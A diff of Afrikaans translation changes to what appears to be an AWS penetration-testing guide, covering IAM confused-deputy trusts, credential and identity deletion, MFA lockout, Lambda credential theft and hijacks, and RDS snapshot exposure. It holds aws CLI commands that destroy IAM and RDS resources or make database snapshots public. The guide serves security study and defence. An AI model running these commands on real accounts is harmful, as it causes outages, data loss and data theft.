As jy **'n eksterne rekening (A) toelaat** om toegang tot 'n **role** in jou rekening te kry, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies daardie eksterne rekening kan toegang kry**. Dit is 'n probleem, want as 'n ander eksterne rekening (B) toegang tot die eksterne rekening (A) het, is dit moontlik dat **B ook toegang tot jou rekening sal hê**.
|
||||
|
||||
Daarom, wanneer jy 'n external account toelaat om toegang tot 'n role in jou rekening te hê, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "secret" string wat die external account (A) **moet spesifiseer** om **assume the role in your organization**. Aangesien die **external account B hierdie string nie sal ken nie**, selfs al het hy toegang tot A, sal hy **nie in staat wees om toegang tot jou role te kry nie**.
|
||||
Daarom, wanneer jy 'n eksterne rekening toelaat om toegang tot 'n **role** in jou rekening te kry, kan jy 'n `ExternalId` spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om die **role in jou organisasie aan te neem**. Omdat die **eksterne rekening B hierdie string nie sal ken nie**, sal hy, selfs al het hy toegang tot A, **nie in staat wees om jou role te toegang nie**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Neem egter kennis dat hierdie `ExternalId` "secret" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank external account A dit weet, en external account **B dit nie weet nie**, voorkom dit dat **B A misbruik om toegang tot jou role te kry**.
|
||||
Let egter daarop dat hierdie `ExternalId` "geheim" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank die eksterne rekening A dit ken, en die eksterne rekening **B dit nie ken nie**, sal dit **voorkom dat B A misbruik om toegang tot jou role te kry**.
|
||||
|
||||
Voorbeeld:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -39,7 +39,7 @@ Voorbeeld:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Vir 'n aanvaller om 'n confused deputy te eksploiteer, moet hy op een of ander manier vasstel of principals van die huidige account roles in other accounts kan impersonate.
|
||||
> Om 'n attacker 'n confused deputy te exploit, sal hy op een of ander manier moet uitvind of principals van die huidige account roles in ander accounts kan impersonate.
|
||||
|
||||
### Onverwagte Trusts
|
||||
|
||||
@@ -51,9 +51,9 @@ Voorbeeld:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Hierdie beleid **laat alle AWS toe** om die rol te aanvaar.
|
||||
Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
|
||||
|
||||
#### Diens as hoofakteur
|
||||
#### Diens as prinsipaal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -64,7 +64,7 @@ Hierdie beleid **laat alle AWS toe** om die rol te aanvaar.
|
||||
```
|
||||
Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep.
|
||||
|
||||
#### S3 as principal
|
||||
#### S3 as prinsipaal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,9 +73,9 @@ Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om h
|
||||
}
|
||||
}
|
||||
```
|
||||
As 'n S3 bucket as 'n principal gegee is, aangesien S3 buckets nie 'n Account ID het nie, as jy jou **bucket verwyder het en die attacker dit geskep het** in hul eie account, kan hulle dit misbruik.
|
||||
As 'n S3 bucket as 'n principal gegee word, omdat S3 buckets nie 'n Account ID het nie, as jy jou **bucket verwyder het en die attacker dit in hul eie account geskep het**, kan hulle dit misbruik.
|
||||
|
||||
#### Nie ondersteun nie
|
||||
#### Nie ondersteund nie
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
@@ -84,10 +84,10 @@ As 'n S3 bucket as 'n principal gegee is, aangesien S3 buckets nie 'n Account ID
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
'n Algemene manier om Confused Deputy-probleme te voorkom is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Maar **sommige dienste ondersteun dit dalk nie** (soos CloudTrail volgens sommige bronne).
|
||||
'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Nietemin, **sommige dienste mag dit nie ondersteun nie** (soos CloudTrail volgens sekere bronne).
|
||||
|
||||
### Verwydering van Kredensiale
|
||||
Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur toegangssleutels, aanmeldprofiele, SSH-sleutels, diens-spesifieke kredensiale, instansieprofiele, sertifikate of CloudFront openbare sleutels verwyder, of rolle van instansieprofiele ontkoppel. Sulke aksies kan onmiddellik wettige gebruikers en toepassings blokkeer en 'n denial-of-service of verlies van toegang veroorsaak vir stelsels wat op daardie kredensiale staatmaak, daarom moet hierdie IAM-permissies noukeurig beperk en gemonitor word.
|
||||
### Verwydering van kredensiale
|
||||
Met enigeen van die volgende toestemmings — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur toegangssleutels, aanmeldprofiele, SSH-sleutels, diens-spesifieke kredensiale, instansieprofiele, sertifikate of CloudFront openbare sleutels verwyder, of rolle van instansieprofiele ontkoppel. Sulke optredes kan onmiddellik wettige gebruikers en toepassings blokkeer en diensonderbreking of verlies van toegang vir stelsels wat op daardie kredensiale staatmaak veroorsaak; daarom moet hierdie IAM-toestemmings streng beperk en gemonitor word.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -99,10 +99,8 @@ aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Verwydering van identiteite
|
||||
Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder.
|
||||
|
||||
Dit kan onmiddellik toegang verbreek vir mense en dienste wat op daardie identiteite staatmaak, wat tot denial-of-service of verlies van toegang kan lei, daarom moet hierdie IAM-aksies streng beperk en bewaak word.
|
||||
### Identiteitsverwydering
|
||||
Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup` kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder. Dit kan onmiddellik toegang breek vir persone en dienste wat van daardie identiteite afhanklik is, wat denial-of-service of verlies van toegang veroorsaak, daarom moet hierdie IAM actions nougeset beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -117,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Met enige van die volgende regte — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur bestuurde of inline-beleide verwyder of loskoppel, beleidsweergawes of toestemmingsgrense verwyder, en beleide van gebruikers, groepe of rolle ontkoppel. Dit haal magtigings uit werking en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensontkenning vir principale wat van daardie beleide afhanklik was, tot gevolg kan hê, daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
|
||||
Met enige van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur bestuurde of inline-beleide uitvee of loskoppel, beleidsweergawes of toestemmingsgrense verwyder, en beleide van gebruikers, groepe of rolle ontkoppel. Dit vernietig magtigings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of denial-of-service vir principals wat op daardie beleide staatgemaak het veroorsaak; daarom moet hierdie IAM-aksies noukeurig beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -129,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Verwydering van gefedereerde identiteite
|
||||
Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML-identiteitsverskaffers verwyder of kliënt-ID's uitvee. Dit breek gefedereerde autentisering, voorkom token-validasie en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staatmaak totdat die IdP of die konfigurasies herstel is.
|
||||
### Verwydering van Gefedereerde Identiteit
|
||||
Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML identity providers verwyder of client IDs verwyder. Dit breek gefedereerde authentisering, voorkom token validation en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staat totdat die IdP of konfigurasies herstel is.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -140,8 +138,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Onbevoegde MFA-aktivering
|
||||
Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die bevoegde gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit wees totdat die toestel verwyder of herstel is (nota: as meerdere MFA-toestelle geregistreer is, vereis aanmelding slegs een; daarom sal hierdie aanval geen effek hê om toegang te weier nie).
|
||||
### Illegitimate MFA Activation
|
||||
Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel registreer op 'n gebruiker se identiteit, wat die legitieme gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of gereset word (nota: as verskeie MFA-toestelle geregistreer is, vereis aanmelding slegs een, so sal hierdie aanval geen effek hê om toegang te ontneem nie).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -149,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Sertifikaat-/Sleutelmetadata-manipulasie
|
||||
Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan ’n akteur die status of metadata van openbare sleutels en sertifikate verander. Deur sleutels/sertifikate as onaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak, en onmiddellik dienste ontwrig wat van daardie inlogbewyse afhanklik is, wat tot verlies van toegang of beskikbaarheid lei.
|
||||
### Sertifikaat-/Sleutelmetagegewens-manipulasie
|
||||
Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan 'n akteur die status of metagegewens van publieke sleutels en sertifikate verander. Deur sleutels/sertifikate as inaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak en onmiddellik dienste ontwrig wat van daardie geloofsbriewe afhanklik is, wat tot verlies van toegang of beskikbaarheid kan lei.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -163,7 +161,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
Die IAM-wildcard iam:Delete* verleen die vermoë om baie soorte IAM-bronne te verwyder — gebruikers, rolle, groepe, beleide, sleutels, sertifikate, MFA-toestelle, beleidweergawes, ens. — en het daarom 'n baie groot skadepotensiaal: 'n akteur wat iam:Delete* toegeken is, kan identiteite, geloofsbriewe, beleide en verwante artefakte permanent vernietig, oudit-/bewyse verwyder, en diens- of operasionele onderbrekings veroorsaak. Voorbeelde sluit in
|
||||
Die IAM-wildcard iam:Delete* verleen die vermoë om baie tipes IAM-hulpbronne te verwyder — gebruikers, rolle, groepe, beleide, sleutels, sertifikate, MFA-toestelle, beleidsweergawes, ens. — en het dus 'n baie groot uitwerkingsradius: 'n akteur wat iam:Delete* toegeken is, kan identiteite, inlogbewyse, beleide en verwante artefakte permanent vernietig, oudit-/bewyse verwyder, en diens- of operasionele uitval veroorsaak. Sommige voorbeelde is
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -176,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
’n Akteur wat die iam:EnableMFADevice-aksie toegestaan is, kan ’n MFA-toestel op ’n identiteit in die rekening registreer, solank die gebruiker dit nog nie geaktiveer het nie. Dit kan gebruik word om ’n gebruiker se toegang te ontwrig: sodra ’n aanvaller ’n MFA-toestel registreer, kan die regmatige gebruiker verhinder word om aan te meld omdat hulle nie beheer oor die aanvaller-geregistreerde MFA het nie.
|
||||
'n actor wat die iam:EnableMFADevice-aksie toegeken is, kan 'n MFA-toestel op 'n identiteit in die rekening registreer, op voorwaarde dat die gebruiker nie reeds een aangeskakel het nie. Dit kan gebruik word om 'n gebruiker se toegang te ontwrig: sodra 'n attacker 'n MFA-toestel registreer, kan die regmatige gebruiker verhinder word om aan te meld omdat hulle nie beheer oor die attacker-registered MFA het nie.
|
||||
|
||||
Hierdie toegang-weier-aanval werk slegs as die gebruiker geen MFA geregistreer het nie; as die aanvaller ’n MFA-toestel vir daardie gebruiker registreer, sal die regmatige gebruiker uitgesluit word van enige strome wat daardie nuwe MFA vereis. As die gebruiker reeds een of meer MFA-toestelle onder hul beheer het, blokkeer die toevoeging van ’n aanvaller-beheerde MFA die regmatige gebruiker nie — hulle kan aanhou verifieer met enige MFA wat hulle reeds het.
|
||||
Hierdie denial-of-access-aanval werk slegs as die gebruiker geen MFA geregistreer het nie; as die attacker 'n MFA-toestel vir daardie gebruiker registreer, sal die regmatige gebruiker uitgesluit word van enige flows wat daardie nuwe MFA vereis. As die gebruiker reeds een of meer MFA-toestelle onder hul beheer het, sal die toevoeging van 'n attacker-controlled MFA nie die regmatige gebruiker blokkeer nie — hulle kan voortgaan om te verifieer met enige MFA wat hulle reeds het.
|
||||
|
||||
Om ’n MFA-toestel vir ’n gebruiker te aktiveer (registreer) kan ’n aanvaller die volgende uitvoer:
|
||||
Om 'n MFA-toestel vir 'n gebruiker te aktiveer (registreer) kan 'n attacker die volgende uitvoer:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
|
||||
+15
-15
@@ -4,35 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Vir meer inligting kyk:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Exfiltreer Lambda Credentials
|
||||
|
||||
Lambda gebruik omgewingsveranderlikes om inlogbewyse tydens uitvoering in te spuit. As jy toegang tot hulle kan kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy hulle self gebruik. Hulle lê in die verstek veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, en `AWS_ACCESS_KEY_ID`.
|
||||
Lambda gebruik omgewingsveranderlikes om credentials tydens runtime in te spuit. As jy toegang daartoe kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy dit self gebruik. Hulle is in die standaard veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID` gestoor.
|
||||
|
||||
Per verstek het hierdie toegang om na 'n CloudWatch log group te skryf (waarvan die naam gestoor word in `AWS_LAMBDA_LOG_GROUP_NAME`), sowel as om ewekansige log groups te skep. Lambda-funksies het egter gereeld meer toestemmings toegeken gebaseer op hul beoogde gebruik.
|
||||
Standaard het hierdie toegang om na 'n cloudwatch log group te skryf (die naam daarvan word in `AWS_LAMBDA_LOG_GROUP_NAME` gestoor), sowel as om ewekansige log groups te skep. Lambda functions het egter dikwels meer toestemmings toegeken op grond van hul beoogde gebruik.
|
||||
|
||||
### `lambda:Delete*`
|
||||
'n aanvaller wat lambda:Delete* toegeken is, kan Lambda functions, versions/aliases, layers, event source mappings en ander geassosieerde konfigurasies verwyder.
|
||||
As 'n aanvaller lambda:Delete* toegeken kry, kan hy Lambda functions, versions/aliases, layers, event source mappings en ander verwante konfigurasies verwyder.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steel ander se Lambda URL-versoeke
|
||||
### Steel Ander se Lambda URL Requests
|
||||
|
||||
As 'n aanvaller op een of ander wyse RCE in 'n Lambda verkry, sal hy in staat wees om ander gebruikers se HTTP-versoeke na die Lambda te steel. As die versoeke sensitiewe inligting bevat (cookies, credentials...) sal hy dit kan steel.
|
||||
As 'n aanvaller op een of ander manier RCE binne 'n Lambda kry, sal hy in staat wees om ander gebruikers se HTTP-versoeke na die Lambda te steel. As die versoeke sensitiewe inligting bevat (cookies, credentials...) sal hy dit kan steel.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steel ander se Lambda URL-versoeke & Extensions-versoeke
|
||||
### Steel Ander se Lambda URL Requests & Extensions Requests
|
||||
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te persisteer, en om versoeke te steel en te wysig.
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te bly, maar ook versoeke te steel en te wysig.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -40,7 +40,7 @@ Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
Dwing 'n Lambda-funksie uit 'n beperkte VPC deur sy konfiguratie by te werk met 'n leë VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, weer uitgaande internettoegang kry en egress-behelsels wat deur private VPC-subnetwerke sonder NAT afgedwing word, omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie vas te pen op 'n spesifieke runtime-weergawe (Manual) of om updates te vries (FunctionUpdate). Dit bewaar verenigbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime hou om eksploitasie en langtermyn-persistensie te vergemaklik.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
Misbruik `lambda:UpdateFunctionConfiguration` se gevorderde logbeheer om 'n funksie se logs te herlei na 'n CloudWatch Logs log group wat deur die aanvaller gekies is. Dit werk sonder om kode of die execution role te verander (die meeste Lambda-rolle bevat reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). As die funksie secrets/request bodies druk of met stack traces crash, kan jy dit vanaf die nuwe loggroep versamel.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
Skakel 'n private Lambda Function URL in 'n publieke ongeskikte endpoint deur die Function URL AuthType na NONE te verander en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal verleen. Dit moontlik anonieme invocation van interne funksies en kan sensitiewe backend-ope-raties openbaar maak.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
Misbruik `UpdateEventSourceMapping` om die teiken-Lambda-funksie van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords vanaf DynamoDB Streams, Kinesis, of SQS aan 'n aanvaller-beheerde funksie afgelewer word. Dit lei stilweg lewendige data om sonder om producers of die oorspronklike funksie se kode aan te raak.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda aan teheg, en deploy daarna eenvoudige kode wat lêers vanaf die gemonteerde pad lys/lees om gedeelde secrets/config uit te voer wat die funksie vroeër nie kon toegang nie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
+69
-69
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting sien:
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Vir meer inligting sien:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Indien die aanvaller genoeg toestemmings het, kan hy 'n **DB openbaar toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n openbaar toeganklike DB uit die snapshot te skep.
|
||||
As die aanvaller genoeg toestemmings het, kan hy 'n **DB publieklik toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publieklik toeganklike DB uit die snapshot te herstel.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,9 +39,9 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
'n Aanvaller met rds:StopDBCluster of rds:StopDBInstance kan die onmiddellike stop van 'n RDS DB instance of 'n hele cluster afdwing, wat tot onbeskikbaarheid van die databasis, verbroke verbindings en die onderbreking van prosesse wat van die databasis afhanklik is, sal lei.
|
||||
'n aanvaller met rds:StopDBCluster of rds:StopDBInstance kan 'n onmiddellike stop van 'n RDS DB-instantie of 'n hele kluster afdwing, wat databasis-onbeskikbaarheid, verbroke verbindings en die onderbreking van prosesse wat op die databasis staatmaak, veroorsaak.
|
||||
|
||||
Om 'n enkele DB instance te stop (voorbeeld):
|
||||
Om 'n enkele DB-instantie te stop (voorbeeld):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
@@ -53,7 +53,7 @@ aws rds stop-db-cluster \
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
'n Aanvaller wat rds:Delete* toegestaan is, kan RDS resources verwyder — deur DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups en verwante artefakte te verwyder — wat onmiddellike diensonderbreking, dataverlies, vernietiging van recovery points en verlies van forensiese bewyse tot gevolg het.
|
||||
’n Aanvaller wat rds:Delete* toegeken is, kan RDS-hulpbronne verwyder — DB-instances, clusters, snapshots, geoutomatiseerde rugsteunkopieë, subnet-groepe, parameter-/opsie-groepe en verwante artefakte — wat onmiddellike diensonderbreking, dataverlies, vernietiging van herstelpunte en verlies van forensiese bewyse tot gevolg het.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker met hierdie permissies kan 'n **snapshot van 'n DB skep** en dit **publiek** **beskikbaar** maak. Daarna kan hy eenvoudig in sy eie rekening 'n DB uit daardie snapshot skep.
|
||||
’n aanvaller met hierdie toestemmings kan **create an snapshot of a DB** en dit **publieklik** **beskikbaar** maak. Dan kan hy net in sy eie rekening ’n DB skep vanaf daardie snapshot.
|
||||
|
||||
As die attacker nie die `rds:CreateDBSnapshot` het nie, kan hy steeds **ander** geskepte snapshots **publiek** maak.
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **other** geskepte snapshots **publiek** maak.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk in die loglêers aangeteken is, kan die aanvaller moontlik hierdie inligting gebruik om hul bevoegdhede te verhoog of ongemagtigde aksies uit te voer.
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te verhoog of ongemagtigde handelinge uit te voer.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe inligting of onbevoegde aksies met behulp van leaked credentials.
|
||||
**Potensiële impak**: Toegang tot sensitiewe inligting of onbevoegde aksies deur gebruik van leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instansies**.
|
||||
'n aanvaller met hierdie permissions kan **DoS bestaande RDS-instansies**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instansies en moontlike dataverlies.
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike verlies van data.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
